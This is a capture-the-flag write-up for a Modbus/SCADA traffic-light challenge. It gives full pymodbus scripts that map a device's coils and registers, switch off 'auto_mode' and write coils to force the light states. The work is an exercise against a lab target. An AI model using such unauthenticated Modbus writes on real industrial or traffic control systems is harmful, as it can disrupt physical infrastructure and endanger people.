Tags: scada modbus 

Rating:

# Analysis

## Introduction

We are provided with an IP address. A website is hosted on the IP address:

![](https://i.imgur.com/IkLVtZf.png)

The challenge description tells us that our aim is to set the lights in a way that allows the path to be followed. The backend returns the following:

```json
{
"1": {
"EG": 0,
"ER": 1,
"EY": 0,
"NG": 1,
"NR": 0,
"NY": 0,
"SG": 0,
"SR": 1,
"SY": 0,
"WG": 0,
"WR": 1,
"WY": 0
},
"2": {
"EG": 0,
"ER": 0,
"EY": 1,
"NG": 0,
"NR": 0,
"NY": 1,
"SG": 0,
"SR": 1,
"SY": 0,
"WG": 0,
"WR": 1,
"WY": 0
},
"3": {
"EG": 1,
"ER": 0,
"EY": 0,
"NG": 0,
"NR": 1,
"NY": 0,
"SG": 0,
"SR": 1,
"SY": 0,
"WG": 0,
"WR": 1,
"WY": 0
},
"4": {
"EG": 0,
"ER": 1,
"EY": 0,
"NG": 0,
"NR": 0,
"NY": 1,
"SG": 0,
"SR": 1,
"SY": 0,
"WG": 0,
"WR": 0,
"WY": 1
},
"5": {
"EG": 0,
"ER": 1,
"EY": 0,
"NG": 1,
"NR": 0,
"NY": 0,
"SG": 0,
"SR": 1,
"SY": 0,
"WG": 0,
"WR": 1,
"WY": 0
},
"6": {
"EG": 1,
"ER": 0,
"EY": 0,
"NG": 0,
"NR": 1,
"NY": 0,
"SG": 0,
"SR": 1,
"SY": 0,
"WG": 0,
"WR": 1,
"WY": 0
},
"flag": "University CTF 2021"
}

```

Which details the state of every light.

## Modbus

An `nmap` scan of the IP reveals that port 502 is open. This port is used for Modbus communication. The `pymodbus` module provides a nice CLI and programming interface.

Modbus allows you to read and write data on a number of units (devices). There are four types of data:

| Name | Size | Operations |
| ---------------- | ------- | -------------- |
| Discrete Input | 1 bit | Read |
| Coil | 1 bit | Read and Write |
| Input Register | 16 bits | Read |
| Holding Register | 16 bits | Read and Write |

The `pymodbus` CLI reveals that the provided server has 32 units, each with:

- 2999 discrete inputs.
- 2999 coils.
- 99 input registers.
- 99 holding registers.

The holding registers for units 1-6 all start with the following data:

```json
{
"registers": [
97,
117,
116,
111,
95,
109,
111,
100,
101,
58,
116,
114,
117,
101,
0,
0,
0,
0,
0,
0
]
}
```

This decodes to the ASCII `auto_mode:true`. We will probably need to change this to `auto_mode:false` in order to change the lights.

It is not obvious where the light states are stored so we'll use `pymodbus` to dump all data that doesn't have the default value:

```python
for unit in range(32):
for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers):
if register != 0:
print(f"hr {unit} {address} {register}")

for unit in range(32):
for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers):
if register != 1:
print(f"ir {unit} {address} {register}")

for unit in range(32):
for address_base in range(0, 2999, 256):
for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]):
if coil != False:
print(f"c {unit} {address_base + address_index} {coil}")

for unit in range(32):
for address_base in range(0, 2999, 256):
for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]):
if coil != True:
print(f"di {unit} {address_base + address_index} {coil}")
```

The script can be found at the bottom of the page.

Running the script reveals the `auto_mode` holding registers as we would expect but also some coils at odd addresses:

```plain
c 1 571 True
c 1 576 True
c 1 579 True
c 1 582 True
c 2 1921 True
c 2 1924 True
c 2 1928 True
c 2 1931 True
c 3 531 True
c 3 532 True
c 3 537 True
c 3 540 True
c 4 1267 True
c 4 1271 True
c 4 1274 True
c 4 1276 True
c 5 925 True
c 5 930 True
c 5 933 True
c 5 936 True
c 6 888 True
c 6 889 True
c 6 894 True
c 6 897 True
```

There are four `True` values for each unit, probably relating to the four lights for each junction. By comparing these results to the API response we can work out that the data layout is:

```plain
Data layout:
ng
ny
nr
eg
ey
er
sg
sy
sr
wg
wy
wr
```

And that the base address for each unit (junction) is:

```plain
Bases (unit, base):
1 571
2 1920
3 529
4 1266
5 925
6 886
```

This is all the information we need to solve the challenge.

# Solution

We'll start by adding the base addresses and offsets:

```python
bases = {
1: 571,
2: 1920,
3: 529,
4: 1266,
5: 925,
6: 886
}

direction_offsets = {
"n": 0,
"e": 3,
"s": 6,
"w": 9
}

colour_offsets = {
"g": 0,
"y": 1,
"r": 2
}
```

We'll also add the direction that should be green for the junctions:

```python
directions = {
1: "w",
2: "n",
4: "w",
6: "w"
}
```

Now let's loop through every unit. We'll start by setting the `auto_mode` to `false`:

```python
for unit in range(1, 7):
print(client.write_registers(0, b"auto_mode:false".ljust(99, b"\x00"), unit=unit))
```

Then we'll work out the coil data that needs to be written so that the lights we specify turn green and the others turn red:

```python
write = [False] * 12
if unit in directions:
not_red = directions[unit]
for direction in not_red:
write[direction_offsets[direction] + colour_offsets["g"]] = True
else:
not_red = ""

for direction, direction_offset in direction_offsets.items():
if direction not in not_red:
write[direction_offset + colour_offsets["r"]] = True
```

Finally we will write to the coils:

```python
print(client.write_coils(bases[unit], write, unit=unit))
```

Running the script causes the flag to appear on the website.

The full script can be found at the bottom of the page.

# Scripts

## `dump_odd.py`

```python
from pymodbus.client.sync import ModbusTcpClient

client = ModbusTcpClient("10.129.228.198")

for unit in range(32):
for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers):
if register != 0:
print(f"hr {unit} {address} {register}")

for unit in range(32):
for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers):
if register != 1:
print(f"ir {unit} {address} {register}")

for unit in range(32):
for address_base in range(0, 2999, 256):
for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]):
if coil != False:
print(f"c {unit} {address_base + address_index} {coil}")

for unit in range(32):
for address_base in range(0, 2999, 256):
for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]):
if coil != True:
print(f"di {unit} {address_base + address_index} {coil}")
```

## `solve.py`

```python
from pymodbus.client.sync import ModbusTcpClient

client = ModbusTcpClient("10.129.228.198")

bases = {
1: 571,
2: 1920,
3: 529,
4: 1266,
5: 925,
6: 886
}

direction_offsets = {
"n": 0,
"e": 3,
"s": 6,
"w": 9
}

colour_offsets = {
"g": 0,
"y": 1,
"r": 2
}

directions = {
1: "w",
2: "n",
4: "w",
6: "w"
}

for unit in range(1, 7):
print(client.write_registers(0, b"auto_mode:false".ljust(99, b"\x00"), unit=unit))

write = [False] * 12
if unit in directions:
not_red = directions[unit]
for direction in not_red:
write[direction_offsets[direction] + colour_offsets["g"]] = True
else:
not_red = ""

for direction, direction_offset in direction_offsets.items():
if direction not in not_red:
write[direction_offset + colour_offsets["r"]] = True

print(client.write_coils(bases[unit], write, unit=unit))
```